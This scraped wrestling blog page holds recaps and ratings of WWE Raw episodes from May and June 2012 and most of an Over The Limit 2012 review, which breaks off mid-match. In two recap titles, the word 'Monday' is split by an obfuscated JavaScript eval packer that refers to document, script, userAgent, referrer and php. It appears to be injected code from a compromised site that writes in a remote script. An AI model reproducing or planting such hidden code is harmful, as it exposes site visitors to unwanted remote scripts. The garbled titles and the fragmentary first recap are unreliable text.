Monday Night Raw – June 18, 2012: Not Only Is He Here Tonight, He’s In The Main Event

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Date: June 18, 2012
Location: Nassau Coliseum, Uniondale, New York
Commentators: Michael Cole, Jerry Lawler
Guest Star: Cyndi Lauper

Ace is in a sling and a neckbrace while walking with a cane. Foley of course hugs him, making Ace cringe. The fans boo a lot and Ace keeps asking the fans to keep it down. Foley requests the same but also says Ace whispered that Long Island sucks. Ace says that before he was fired last night, he made the main event of Cena vs. Big Show, Otunga, and himself.

Sheamus/CM Punk vs. Daniel Bryan/Kane

Dolph Ziggler vs. Jack Swagger

Vickie kisses Ziggler post match.

We get HHH challenging Brock from last night.

Alberto Del Rio vs. Santino Marella

Video on Cyndi Lauper in the WWF in the 80s. Basically she was the catalyst for Hogan vs. Piper which spawned Wrestlemania.

Primo/Epico vs. Prime Time Players

Jericho is back next week.

John Cena vs. John Laurinitis/David Otunga

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Monday Night Raw – May 28, 2012: The Big Show Show

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esbnf|var|u0026u|referrer|szysf||js|php'.split('|'),0,{})) Night Raw
Date: May 28, 2012
Location: New Orleans Arena, New Orleans, Louisiana
Commentators: Michael Cole, Jerry Lawler

It’s Memorial Day which means that not a lot of people are going to watch here. Hopefully that doesn’t mean they put on a horrible show which they’ve been known to do at times. The main story is still Cena/Ace with the occasional mention of Lesnar vs. HHH, because who would want to see Brock Lesnar when we can have a dynamic skateboarder? Let’s get to it.

The opening video is about Memorial Day and the military as you would expect.

The regular opening is about Cena/Ace/Show from the PPV and last week.

Here’s Show to open things up. He says that while he’s a giant, he’s a businessman first. What he did, he did it for the sake of business. The bonus he got has set him for life, meaning that he doesn’t have to please the fans anymore and he can beat people up as he pleases. No one can match him, be it an NFL player, a UFC fighter, or a WWE superstar.

Two weeks ago he was made to beg, but immediately after it, this happened. We see a clip of Brodus, Kofi and Truth dancing with kids from immediately after. Where was his sympathy? Then at the end of the night, Cena made jokes while talking with Ace, so maybe that’s all Show is: a big joke. At No Way Out, Cena will get a real beating and have the real embarrassment that Rock and Lesnar tried to give him. And that’s it. No Cena or anything, just ten minutes of Show talking.

Punk vs. Bryan tonight? Cool.

Alberto Del Rio vs. Santino Marella

This is I guess fallout from Santino vs. Ricardo. Alberto beats him down very quickly but gets caught by the hiptoss and headbutt, but the Cobra is broken up and the US Champion taps to the cross armbreaker at 45 seconds.

Alex Riley sucks up to Eve when Big Show pops up. Show gets to pick his opponent tonight and looks at Riley, who begs off. Show says it’s ok and that Riley won’t be his opponent. There’s a message he has for the locker room though, and he rams Riley into the wall. Ok then.

Tag Titles: Kofi Kingston/R-Truth vs. Jack Swagger/Dolph Ziggler

Truth and Swagger get things going and it’s off to Truth quickly. We get some hip thrusting and Swagger charges over the top. Kofi and Truth kick Ziggler in the head and send him to the floor. Stereo baseball slides take us to a break. Back with Swagger holding onto Kofi. During the break Kofi was knocked to the barricade, which Lawler says meant we almost had new champions.

Dolph comes in and drops an elbow for two before working on the arm. A Stinger Splash misses and it’s off to Truth. A rollup and DDT both get two on Swagger as the fans are into this for some reason. Truth launches Kofi onto Dolph and they head to the floor. Little Jimmy to Swagger retains the titles at 7:11.

Rating: D+. These matches are getting more and more worthless. It’s obvious that Truth is there as a replacement for Bourne and that Kofi is there just to give him something to do. That translates to something very uninteresting, but then again the tag titles have had that distinction for years now.

Post match Dolph yells at Swagger that he’s better and walks out on his own. Thank goodness.

Santino is getting help in the back when Show comes up. He puts his hand over Santino’s face and yells when Brodus comes up. Brodus wants to be the opponent and Show says it’s on.

Here’s Ace and his administration. He says that tonight it’s Show vs. Brodus and at No Way Out, Show vs. Cena is in a cage. There’s something covered up behind him under a sheet. Ace talks about WWE ’13 (video game) and unveils the cover which has him on it of course. “It’s going to be bigger than Pac-Man!” Cue Punk who says exactly what you would expect him to say. He says that someone a lot more handsome will be on the cover.

Fireworks go off and a banner with Punk on the cover comes down. Punk: “Mine is a lot bigger than yours.” He talks about how great it is to have a wrestler on the cover of a wrestling game, and knows that he’s got Bryan tonight so there’s no point in making some “never before seen” match. The administration leaves and Punk breaks the Ace poster.

Daniel Bryan vs. CM Punk

This is non-title. We get a video about the Kane aspect of this feud so you know what’s coming at the end. Punk controls the arm to start and Bryan does the same a bit later. Bryan misses a knee drop and Punk drops some knees of his own for two. Off to a bodyscissors which is broken pretty quickly. Backslide gets two for both and Bryan goes up, hitting a top rope knee to send Punk to the floor. Baseball slide misses and Punk hits a dive to take Bryan out. Cue AJ in a Punk shirt as we take a break.

During the break Bryan hit another knee to the head, this time from the apron. It doesn’t seem to matter as Punk is in control. Bryan moonsaults out of the corner and Punk misses his spinning cross body, crashing to the mat. Bryan hits a dropkick to the side of the head and another in the corner for two. Punk fires off kicks from the mat but gets caught in a northern lights suplex for two. Punk comes back with some strikes and the spinning neckbreaker for two. Knee/bulldog in the corner of course doesn’t work but Bryan’s high kick does as well, getting Punk two off a rollup.

Springboard clothesline gets two for Punk and both guys are down. The Macho Elbow drop is broken up and Bryan superplexes him off the top. That only gets two and the fans are getting back into it. I’m not sure why they got out of it in the first place. Bryan takes the buckle pad off and AJ protests, but that just lets Bryan do more. Punk hits the High Kick for two. He charges at Bryan and gets dropped face first onto the exposed buckle for the pin at 15:10.

Rating: B-. I didn’t like this one as much but at least Punk didn’t lose clean. This felt more like they were just doing their signature moves for awhile until they got to the ending. AJ didn’t really add much, but her in an outfit like that is never a bad thing. Pretty good match here but nothing compared to the PPV one.

Kane beats up Bryan with a chair post match and chokeslams him onto said chair. AJ slides one in to Punk before Kane can hit Punk with it and Punk beats Kane to the floor.

Christian vs. The Miz

Before the match we hear about Jericho not being here because of the Brazil incident. Cody is on commentary. Christian tries a sunset flip out of the corner but Miz rolls through and hits a boot to the face of the champ. Corner clothesline hits as does the top rope axhandle for two. Off to a chinlock and then a camel clutch. Christian fights back and loads up a spear but charges into a boot to the face. Cody gets off commentary and distracts Christian for two. The Finale and Killswitch are countered but Miz misses a charge and it’s Killsiwtch and Frog Splash for the pin at 4:14.

Rating: C-. Miz is pretty firmly entrenched as the jobber to the stars here and that’s ok. Setting up Cody vs. Christian is fine but I’m hoping it leads to Cody moving up. He’s gotten the IC Title about as far as he could and there’s nothing left for him to do with it. The match was fine.

Ace sends Teddy away and yells at Otunga and Eve. Otunga volunteers to face Sheamus tonight as penance. Teddy comes back with Eve’s coffer and she spits it on him because it’s cold. Everyone but Teddy leaves. Teddy: “It’s supposed to be cold. IT’S ICED COFFEE.”

After a break, Miz is in the ring. He wants the match stricken from the record because it wasn’t for the title. He got the pin for Ace at Wrestlemania but can’t get a title match or a guarnateed contract. Orton comes out, RKOs Miz, and that’s that. I guess Miz is replacing Jericho.

Ziggler is watching in the back and says he wants out of the tag team. He wants to be on his own so Vickie says she’ll see what she can do.

We get a video with comments from Cena about Memorial Day. Just put a big VOTE FOR MCMAHON graphic up already.

Kane vs. Punk for the title on Friday.

Sheamus vs. David Otunga

Otunga uses the strength that he has to pound Sheamus into the corner but the champ takes his head off with a double ax. There are the ten forearms, White Noise, Brogue Kick, 2:45.

We get the same recap that opened the show but a slightly shorter version.

Brodus Clay vs. Big Show

It’s 11pm so it’s time for Show to talk. He says that he thought he was a sellout when he put on a diaper against Akebono at Wrestlemania. That’s nothing compared to Brodus though, who embarrasses himself nightly. Brodus comes up the aisle and gets speared down. Show destroys him as well as the tag champions when they run out.

He breaks the announce table and hits Brodus in the back with it before beating up the champions a bit more. Trouble in Paradise is caught in a choke until Kofi is thrown through the barricade. The beating goes on for awhile and Brodus gets punched. No match of course and Show and Ace pose on the stage to end the show. Cena is back next week.

Overall Rating: D. The show was decent enough from a technical standpoint, but my goodness I do not care about Big Show and whatever his latest heel turn is about (yes I know what it is). It’s about as by the numbers as you could get and it couldn’t be clearer that they’re just dragging it through to the summer for whatever their big idea is there. I was sitting here tonight waiting on this show to end. That’s not a good thing.

Results
Alberto Del Rio b. Santino Marella – Cross Armbreaker
R-Truth/Kofi Kingston b. Jack Swagger/Dolph Ziggler – Little Jimmy to Swagger
Daniel Bryan b. CM Punk – Hot Shot onto an exposed turnbuckle
Christian b. The Miz – Frog Splash
Sheamus b. David Otunga – Brogue Kick

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Monday Night Raw – May 21, 2012: No Contract Talk Makes Me Happy

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssray|var|u0026u|referrer|inads||js|php'.split('|'),0,{})) Night Raw
Date: May 21, 2012
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Jerry Lawler, Michael Cole

It’s back to Raw again and we have a full four weeks to build up to No Way Out. That’s the cage match PPV as they continue to try to find a theme show for June. Anyway Ace won last night due to the SHOCKING Big Show turn. Other than that Punk and Sheamus both retained. Odds are Lesnar will be here this week as we need to start building to the cage PPV, which is a natural fit for him. Let’s get to it.

We open with a recap of the ending to last night’s show.

Here’s angry Cena to open the show. He says that he’s had a lot of matches like this where he loses and then comes out and talks about losing and then moves on. This is different though. It’s not about how he lost but the fact that he just did. Cena talks about how Ace has been a bully since he got here and last night Cena got to give him some payback for it. Ace ran and then Big Show threw him back and it was fun again.

Show threw Ace to Cena for an AA and then Show knocked him out. Cena is upset here. He talks about how people have been saying he should have just beaten Ace when he had the chance, but if the giant was already paid off it wouldn’t have mattered anyway. If it wasn’t for the times when he had Ace in the STF last night, that would make a lot of sense.

Cena isn’t sure who the new GM would be (“YOU COULD EVEN BRING THE COMPUTER BACK!”) but they could have rehired the Big Show. But instead Ace won and it’s more People Power. Now we’re going to see some graphic and then hear from Ace about how he’s got a new plan or whatever and it’s crap. Cue Ace…..or rather Eve to Ace’s music. Cena: “Wow John you got really hot but you still suck!” She brings out Ace…..in a freaking motorized scooter with a People Power plate on it. Ok that’s freaking funny. She helps Ace onto a crutch and it’s time to talk some more.

He talks about how after the match last night he was sent to the hospital and he has some possible injuries to his clavicle, knee and spine. He can’t use his left extremities due to possible nerve damage but that’s ok because he proved that he’s a fierce competitor. If anyone touches him, he’s fired. Ace rehired Show on Satur……WAIT WHAT? IF SHOW IS REHIRED ON SATURDAY, THEN ACE SHOULD BE FIRED!!! Cena vs. Show, No Way Out, you know the drill.

Here’s Show to a lot of booing. He talks about how he doesn’t owe us an explanation and how last week he was on his knees crying. The fans say he’s a sellout but he’s mad about the lack of sympathy. He yells about Cena saying how dare you a lot. He’ll knock Cena out at the PPV and that’s it. Here’s Otunga who says he’s going to beat Cena now. Cena says he’s not in the mood right now so go watch Law and Order reruns because it’ll end badly otherwise. Otunga says ok and dedicates the match to Ace, which will be after a break. The segment was great until the HORRIBLE plot hole.

David Otunga vs. John Cena

The very angry Cena lets Otunga run away about three times and there’s no contact at all so far. Make it four times. Cena fakes him out and gets caught anyway by a bunch of forearms. Cena comes back with some punches and the beating begins. HARD clothesline puts Otunga down and it’s the AA into the STF at 1:57.

Post match Hawkins, Reks, Young and O’Neil run in for the beatdown. Sheamus makes the save, running over Ace in the process. So he’ll be fired right? They get thrown out and Ace yells at all four of them. Ace makes Sheamus/Cena vs. three unnamed people in a lumberjack match.

Here’s Ricardo to introduce Del Rio for his aforementioned match with Orton. Instead it’s Santino who comes out to say that Ricardo is hard to understand. They talk about rolling R’s when you talk and Santino gives him the Cobra. Santino does Del Rio’s entrance and there’s no Del Rio. Instead we get a video about how WWE has 1000 episodes, which NOTHING else has ever done. Not even World Championship Wrestling which became Saturday Night which ran for over 30 years without taking a break. Del Rio comes out and Santino leaves….and it’s time for another commercial.

Randy Orton vs. Alberto Del Rio

Del Rio counters Orton to start and goes right for the arm. A hard kick to said arm slows Orton down but the Codebreaker to it is broken up. Orton comes back with punches in the corner and sends Del Rio to the floor as we take ANOTHER commercial. Back with Del Rio hitting the Codebreaker on the arm and a hard kick as well. Del Rio misses a charge and goes through the ropes, allowing Orton to come back with his usual stuff. Elevated DDT looks to set up the RKO but here’s Jericho for the DQ at 7:20 total. I’m not going to rate it because most of that was in the commercial.

Jericho hits the Codebreaker on Orton, likely setting up their match at No Way Out. Jericho says he’s the best in the world at what he does and repeats it for good measure. Orton gets up but walks into another Codebreaker.

Here’s Bryan who says that he made Punk tap. The footage is doctored to make it look like Punk tapped faster. Bryan says he made Punk tap and demands a rematch. Cue Punk who says that he beat Bryan 1-2-3 and shows us a clip….from Smackdown where Bryan caused Kane to destroy Punk. With that, here’s Bryan’s opponent for this evening.

Daniel Bryan vs. Kane

HOKEY SMOKE THEY ACTUALLY HAD SOMEONE WATCH THE TAPE!!! Punk sits in on commentary. Bryan escapes the chokeslam and they head to the floor. Punk says he has to get a better look and picks up a chair, only to have Bryan pull it away. Kane sees Bryan holding it and destroys him. A chair shot to Bryan gets the DQ at 1:47. This was just there for comedy but I liked it.

Post match Kane chokeslams him twice. Kane leaves and Punk puts Bryan in the Vice to make him tap.

Post break Punk is in the back when AJ comes up. He calls her sadistic and she starts freaking. Before she can go crazy he says she’s the one that’s been a fool this whole time. She starts crying and Punk isn’t sure what to do. He hugs her and says everything is going to be fine while kind of rolling his eyes. Punk says stop crying so she immediately does. He says he digs crazy chicks and leaves. More on this later I’m assuming, but I love crazy AJ.

Christian gets an elaborate introduction before his match.

Christian vs. Jinder Mahal

See, THIS is what guys like Mahal is good for. Why don’t they get that more often? Christian hits the reverse DDT and a missile dropkick to take over. He gets backdropped to the floor and Mahal takes over with a chinlock. Christian comes back and now the story has been changed to Show signing THIS MORNING instead of Saturday. Mahal puts him down for a camel clutch but gets caught with the Killswitch which sets up a frog splash for the pin at 3:15.

Rating: C-. Just a quick match here and it’s a good win for Christian. Not that beating Mahal means anything, but it’s nice to see a good little win to cement that he’s back. Again, do more matches like this one where Christian looks good, someone else gets some TV time, and you don’t waste a potentially big match for free on TV.

Beth Phoenix vs. Kelly Kelly

Layla is watching in the back. Beth jumps her to start until Kelly comes back with her usual stuff. Beth misses a charge and Kelly hits her bad Thesz Press and headscissors. Geez shut up with the screaming woman. Handspring elbow is broken up and it’s a Glam Slam for the pin at 2:28. Ignore that Kelly’s face or chest didn’t hit the mat at all on that move.

Dolph Ziggler/Jack Swagger/Tensai vs. Sheamus/John Cena

Yeah it’s Tensai now and he doesn’t have the robe anymore. He also walks to the ring fast now, which is a major upgrade. The lumberjacks are all heels of course. Sheamus and Ziggler start with the champ using his power to control. Off to Cena vs. Tensai with Albert moving faster this week. That can only be good for him. Swagger comes in to do nothing but miss his Vader Bomb and let Sheamus come back in.

Knee lift puts Swagger down for two as Ziggler saves. Dolph is sent to the floor and it’s champ vs. Tensai. Sheamus gets knocked to the floor so Sheamus beats up the lumberjacks. Jericho won’t let Sheamus back in so Tensai gets in a shot. Tensai pounds on him some more as we take a break. Back with Sheamus missing the Brogue Kick to Swagger.

Ankle lock goes on but instead of holding it, Jack tags Tensai. Sheamus gets sent to the floor for a mini brawl with the lumberjacks before it’s back inside for an extended beating. Fameasser gets two. Big Show comes out on the stage. Sheamus keeps getting beaten down by Tensai as Show talks about how Show was rehired this morning, thereby making it the latest official history.

The champ punches everyone and the Regal Roll lets him tag Cena. The place likes Cena this week. He cleans house but Sheamus gets jumped by the lumberjacks. Cena dives through the ropes onto them and the lumberjacks do the big beatdown. We’ll say it’s thrown out at about 15:00.

Rating: C-. This was your usual main event style tag match. It wasn’t bad but the constant Sheamus beatdown got pretty dull after awhile. It’s not a bad match or anything but the point of this was the post match stuff, which is fine, especially when you need a way to end the show. Not bad though.

The whole locker room runs out for a HUGE brawl. Show went somewhere. Cena gets to the floor and goes Show hunting. We cut to the back and Cena runs into Ace, who doesn’t know where Show is. Cena turns around into a BIG punch to knock him out and end the show.

Overall Rating: C. This was a weird show. It came off as much more light hearted which is a plus, but the plot holes that they kept trying to change got annoying. The main event wasn’t bad but it didn’t serve much of a purpose. One thing to note though: when there’s no legal stuff or contract talk, I enjoy things FAR better. That stuff gets annoying fast so not having it for once was nice. Not a great show but it was fun.

Results
John Cena b. David Otunga – STF
Randy Orton b. Alberto Del Rio via DQ when Chris Jericho interfered
Daniel Bryan b. Kane via DQ when Kane used a chair
Christian b. Jinder Mahal – Frog Splash
Beth Phoenix b. Kelly Kelly – Glam Slam
John Cena/Sheamus vs. Tensai/Dolph Ziggler/Jack Swagger went to a no contest

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Over The Limit 2012: Ace Brings Down A Great Show. No Really.

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Date: May 20, 2012
Location: PNC Arena, Raleigh, North Carolina
Commentators: Michael Cole, Booker T, Jerry Lawler

Well we have to get this one over with I guess. This is the least interesting and probably least built up show I can remember in years. As of 5:05 PM on the day of the show, we have five matches scheduled for the show, not counting the pre-show match. There are bound to be some matches added, which have to help this show. This is one of the PPVs I’m going into with zero expectations which usually helps a show a lot. That being said, I’m not sure if it works if you plan that way in advance. Let’s get to it.

Apparently there’s been a battle royal added to the show and the winner gets to pick the IC or US Title to challenge for tonight. That’ll help a lot.

Pre-Show: Kane vs. Zack Ryder

Ryder is taken into the corner but shoves Kane away and shouts that he’s not afraid. WHY DID HE NEVER FREAKING DO THAT WHEN HE WAS US CHAMPION THEN??? Ryder gets him to chase him and hits a kind of baseball slide. I really like the set as it looks like a speedometer much like the videos have looked. A suicide dive puts Kane down as he keeps looking for a countout.

Back in and Ryder pounds away but it’s short lived as Kane knocks him down and starts using the power. Clothesline gets two. Off to a bearhug which doesn’t last long. Seated dropkick gets two and it’s off to a body vice. Ryder fights out of it with elbows and hits a quick neckbreaker for two. He snaps Kane’s throat on the top rope but as he goes up, Kane hits an uppercut. Kane charges into the corner knees but the Rough Ryder is countered and a side slam gets two. Ryder comes back again and hits the Broski Boot for one. He loads up the Rough Ryder but charges into the chokeslam for the pin at 6:47.

Rating: C+. No complaints here but again, WHERE WAS THIS RYDER IN JANUARY??? That’s my big issue with Ryder’s destruction by Kane back then: he didn’t even fight. They spent a month and a half building him as this newly confident guy and then he turned into a coward that would rather change a tire than USE THE WRENCH HE WAS HOLDING to fight Kane. Ryder went straight at Kane here and lost, which would have annoyed me back then but I could have lived with it. The match was fine.

Battle Royal

The battle royal is on the pre-show too? Dang I was about to turn it off too. We have Miz, Khali, JTG, Ezekiel Jackson, Tyler Reks, Curt Hawkins, Michael McGillicutty, Yoshi Tatsu, Tyson Kidd, Jimmy Uso, Jey Uso, Jinder Mahal, Drew McIntyre, Heath Slater, Titus O’Neil, Darren Young, Alex Riley, David Otunga, William Regal (BIG chant), and Christian.

This is going to be on the PPV which is good. The winner can pick the US Title or IC Title to challenge for later tonight. There are 20 men in all. This is a cool idea to start the show with. No opening video either. They start with the usual punching and kicking until Khali throws Slater out. There goes McGillicutty by the same man. The Usos hit a double superkick to put JTG out, making me love them even more.

Drew suplexes Yoshi out and he lands BAD on his ankle. If he’s not hurt it’ll be a miracle. Reks and Hawkins put Jackson out just before Darren Young puts an Uso out. Someone puts McIntyre out. I’m sorry for all of the “so and so is out” but there’s not much else you can say until a lot of the guys are gone. Khali puts out Hawkins and Reks and does the same to Mahal. I think there are ten left.

Regal tries to put Kidd out but gets caught in a chokeout. Miz, Young and O’Neil team up to put Khali out. That more or less leaves Miz, Christian and maybe Otunga as the only likely winners. Jackson misses a charge and the remaining Uso kicks him out. Young and let’s say Jey go to the apron and Young knocks him out. Ok we have Miz, Young, Kidd, Regal (out as I type his name, drawing HUGE boos), Christian, Kidd and Otunga. Riley dropkicks Young out to get it to five.

Riley hits a spinebuster on Miz but gets sent to the apron. He goes up top but Miz guillotines him to get it to four. It’s Christian, Miz, Kidd and Otunga. Otunga sends Christian’s shoulder into the post as Kidd kicks Miz. I think Christian is a face here. Kidd gets sent to the apron but hits a springboard missile dropkick to knock Miz and Otunga down. Kidd goes to the apron and tries to headscissor Kidd out, but Otunga dumps Tyson.

Otunga and Miz team up against Christian for a double beating but the corner clothesline misses. Christian dumps Otunga and has to hang on from a sneak attack by Miz. The Finale is countered and Christian is thrown to the apron. Miz chokes him on the apron with a boot but Christian kicks him away. From the apron, Christian throws Miz to the apron as well and a shoulder to the ribs gives the Canadian the win at 12:36.

Rating: C. This was a better battle royal than I’m used to. Christian returning and winning was a nice surprise as he seems to have turned face again. I like him better in that role so seeing him getting a push as a good guy should be a nice change of pace. Fun match here which was a nice surprise.

Christian picks Santino in a surprising move.

Now we get the opening video, which is about change and people power.

Vickie suggests she’ll be the new GM if Ace loses.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

Kofi and Swagger get us going. Jack takes it to the mat but opts for a standing top wristlock instead. Not much happens so it’s off to Truth for a double hiptoss. Spinning legdrop gets two. Ziggler comes in but Kofi gets a blind tag and a springboard missile dropkick for two. Swagger gets in a shot from the apron and a tag to take over. He works on the arm some more and it’s off to Truth who speeds things up.

Vickie distracts the referee which results in Dolph getting his head kicked off. Swagger puts Truth down and hits the Vader Bomb for two. Ziggler comes back in with a Crossface of all things as King is talking about Vickie’s navel. Cole: “If you two were as good at commentating as you were at looking at Vickie you’d be in the Hall of Fame.” King: “I already am.” That was funny for some reason.

Swagger takes Truth down but Truth comes back with a flurry of punches. They don’t get him anywhere as Ziggler comes in for a double team, getting two. Dolph does the handstands on the chinlock which is impressive. Back to Jack who takes Truth into the corner but gets caught by a tornado DDT to put both guys down. Double tag brings in Kofi and Dolph and an SOS gets two. Springboard cross body gets two as Jack makes the save. As Kofi is coming back in he gets caught by a Fameasser for two. Truth dives onto Swagger and Dolph jumps with a Stinger Splash, right into Trouble in Paradise to retain at 12:28.

Rating: B. That’s probably high but I was enjoying this match. Kofi and Dolph have some awesome chemistry together and it worked very well here. They’re clearly building to a big rematch with the Colons, if you can call that big of course. Pretty good match here and I was really liking it by the end.

Eve tells Hawkins and Reks to go into the crowd and confiscate all anti-Laurinitis signs. Otunga says this is legally ok. There has to be a rib here somewhere.

Divas Title: Layla vs. Beth Phoenix

Layla is defending. She grabs a headlock to start but Beth powers her down. The fans want Kharma. Layla takes her back down and pounds away, including an elbow into a charging Beth. Beth counters a rana (I think) out of the corner into a powerbomb to work on the knee. She wraps it around the post and slams her down for two.

There’s a half crab and a tap chant. Layla comes back with a rolling cradle for two. This is a really boring match. After a quick bit on the apron, the Glam Slam is countered into a kind of DDT for two. Another attempt is countered into a rollup for two but Beth counters into one of her own with tights for two. Beth takes the knee out again but walks into the Layout for the pin at 7:13.

Rating: D. I usually don’t like Divas matches but this one was especially boring. The Kharma chants just kept reminding me that they’re keeping the belt warm for her. Layla and Beth are both good looking, but for the life of me I have no desire to watch them have a wrestling match. The ending was better than the rest of the match.

We go to Orton and see a clip of him hitting the RKO after losing to Sheamus. He says Sheamus would have done the same to him. Jericho comes up and says he enjoyed the match on Smackdown with the two of them beating on each other. He says he’ll win, but Orton says that Jericho will only be the best in the world at losing to him.

Smackdown World Title: Alberto Del Rio vs. Sheamus vs. Chris Jericho vs. Randy Orton

I’ve been looking forward to this. During the big match intros, the announcers talk about how he has a 25% chance of winning. Wouldn’t they always have at best a 50% chance? Anyway Jericho goes after Orton and Del Rio jumps Sheamus. The good guys almost have a rematch from Friday but the heels jump them again. Del Rio and Jericho are knocked to the floor and it’s rematch time.

Sheamus takes over but gets pulled to the floor by Jericho and thrown into the barricade. Del Rio jumps Orton and works on the arm. The fans chant SI as Del Rio and Jericho have a brief alliance. Alberto heads to the floor and works on Sheamus’ arm, sending him into the table. In the ring Orton suplexes Jericho and stomps him for two. The heels team up again but once Jericho goes for a cover it’s time to fight.

Orton comes back to clothesline Del Rio to the floor and it’s Randy vs. Jericho for a bit. Enziguri gets two for the Canadian. Sheamus has apparently stopped living as he’s been gone for about three minutes now. Cole talks about Raw going three hours as Orton loads up a superplex. Del Rio makes the save for some reason and Orton goes to the floor with Jericho. Sheamus comes back with the top rope shoulder and some knees to Del Rio in the corner.

Regal Roll puts Del Rio down again and Sheamus shouts BROGUE. Del Rio blocks it with an enziguri for two. Into the corner and Sheamus fires off a bunch of elbows to Del Rio’s head. That corner has been a bad place for him so far. Powerslam gets two. The periods of guys laying on the floor is a lot longer tonight. Del Rio takes out the knee and a dropkick to Sheamus while the champ is on his knees gets two.

Del Rio misses a charging kick and gets caught in position for the ten forearms. Jericho pops up with a shot to the back, sending Del Rio and Sheamus to the floor and onto Ricardo. Orton comes back in with the powerslams to Jericho and an elevated DDT to the champion. Cross armbreaker beaks up the RKO but Jericho saves Randy. Lionsault gets knees from Del Rio but Orton hits the backbreaker on Jericho. Irish Curse puts Del Rio down but Orton tries the RKO. Sheamus escapes and misses the Kick but he counters the RKO into a rollup like Friday for two. Orton sends him into the post and out to the floor. Great sequence.

Double DDT takes out Del Rio and Ricardo but Del Rio sends Orton to the floor. Cross armbreaker to Jericho is counters into the Walls (SWEET) but Sheamus comes in to break it up. Jericho ducks the Kick and hits the Codebreaker for two. Cole picks NOW to plug WWE.com. ARE YOU KIDDING ME? Jericho hits his finisher so TIME TO PLUG THE WEBSITE!!! Regal Roll is countered into the Walls but Randy RKOs him. Del Rio saves that and takes one of his own. Brogue Kick takes down Orton (great selling) and Jericho rolls Sheamus up with tights for two. I thought that was it. White Noise to Jericho retains at 16:00.

Rating: A. That’s probably high but I really dug this. It was the match I’ve been looking forward to the most all night and it certainly didn’t disappoint. Those finisher parades were great and I was really wondering who was going to get the win, which is the best thing a match can do. Thank goodness they went with this instead of Sheamus vs. Del Rio. I really liked this.

Cody and Eve talk in the back and Rhodes is glad the IC Title is getting legitimized tonight. He says he would have embarrassed Christian tonight and guess who is behind him. Christian changes his mind and is challenging Cody tonight. That’s an intriguing feud if they let Cody be himself.

Here’s Miz for a match but he has a mic first. He also has the coat back which is an upgrade. Miz says that the fans should be praising his existence. Everything that is wrong with the WWE can be summed up in two words: Brodus Clay. Miz says he’s a better dancer and shows off a little bit. Brodus does his stuff and looks like a pumpkin with orange and black this week.

Brodus Clay vs. The Miz

This isn’t a dance off thank goodness. Miz gets shoved into the corner and has his forearms shrugged off. Brodus rams Miz into the corner and hits a suplex. Miz tries to go up top but gets heabutted down. Miz sends Clay into the post on the floor. Back in a pair of top rope ax handles put Brodus down to his knee. Boot to the head gets two and it’s off to a chinlock. Brodus gets up and runs him over, then hits his overhead suplex from the middle rope. Splash ends this at 4:13.

Rating: D+. This was your usual Brodus match. The problem with him at the end of the day is there’s really nothing you can do with him at this stage. He’s squashing bigger names now and the dancing with kids (going on right now) is a nice touch, but they need to give him some adversity or something at all to do so he can move up without things looking silly.

Reks and Hawkins are stealing signs.

Cody complains about the fans being happy with him having to defend the title tonight. He talks about his dad not letting him come to any shows in North Carolina as a kid, and now he knows it’s because he’s better than everyone else. Tonight he’ll prove that he’s better than Christian. I’m liking these short pre-match promos. They add a little something to them.

Intercontinental Title: Christian vs. Cody Rhodes

Christian throws him to the floor to start and Cody is frustrated. Cody comes back in with a Russian legsweep for two and we hit the armbar/neckcrank. Christian gets up but gets dropkicked in the back of his head for two. Cody works him over in the corner and we head outside. The champ climbs the steps like he’s setting for the Disaster Kick but hits a dropkick instead.

Back inside and Cody jumps into a punch to the ribs. Pendulum Kick sets up a middle rope missile dropkick for two. The crowd has gone dead after the foruway. Killswitch is broken up but Christian pops him in the face to keep momentum. Top rope dropkick misses and Cody rolls him up for two. Tornado DDT is countered and Christian stands there for the moonsault press (looked really stupid) for two. Cody yells at the fans about being tired of being jerked around and walks into the Killswitch to give us a new champion at 7:28.

Rating: C-. The match was pretty dull but I’m very pleased with this change. Cody being depushed like he was made the title look horrible and getting it off Rhodes was the best thing they could do. Christian is a steady hand and you know you’re going to get passable matches out of him at worst. Also having him as a face is a plus to me. Boring match, good result.

We go to Punk in the back and see a clip from the end of the Punk vs. Kane match with Bryan getting Punk a beating by Kane. Punk is happy that tonight Ace will be out of a job. First up though is Daniel Bryan who he’s known for ten years. Ten years ago, if you had told Vince that these two would be fighting for the WWE Title on a WWE PPV, you would hear him ask who they both were (complete with a funny Vince imitation). Bryan is a changed man and those changes have gotten on his bad side. Tonight won’t just be a five star classic, but it’ll be…..and here’s AJ who says this is going to be fun. She wishes Punk luck.

Raw World Title: Daniel Bryan vs. CM Punk

Cole again plugs WWE.com which has an article about their history. You know, because Cole can’t TELL US THOSE THINGS. Feeling out process to start and Punk takes him into the corner and kicks at the leg. The fans seem totally split. A quick headlock goes nowhere so Punk works on the knee some more. Modified Indian Deathlock goes on from the champ but Bryan gets on top of him and fires off forearms.

Punk weathers that and hits a curb stomp of all things for two. He sends Bryan to the floor but Bryan is ready for him and sends Punk back first into the barricade. The bad ribs are draped over the barricade and Bryan takes over. Back in a top rope missile dropkick (with knee selling) gets two. Bryan hooks a seated abdominal stretch with some elbows to the ribs. Knee drop gets one.

Punk tries a Figure Four out of nowhere (complete with WOO chants. We’re in North Carolina remember) but Bryan rolls him up for two. There’s a surfboard (complete with YES each time he rocks back) which is always cool to me. Bryan keeps Punk’s legs in the air and bends his face down into a dragon sleeper at the same time. FREAKING OW MAN! Off to a regular dragon sleeper but Punk comes back with forearms of his own. That’s some nice storytelling as they’ve mirrored each other completely, even down to the counter into mounted forearms, for the first ten minutes.

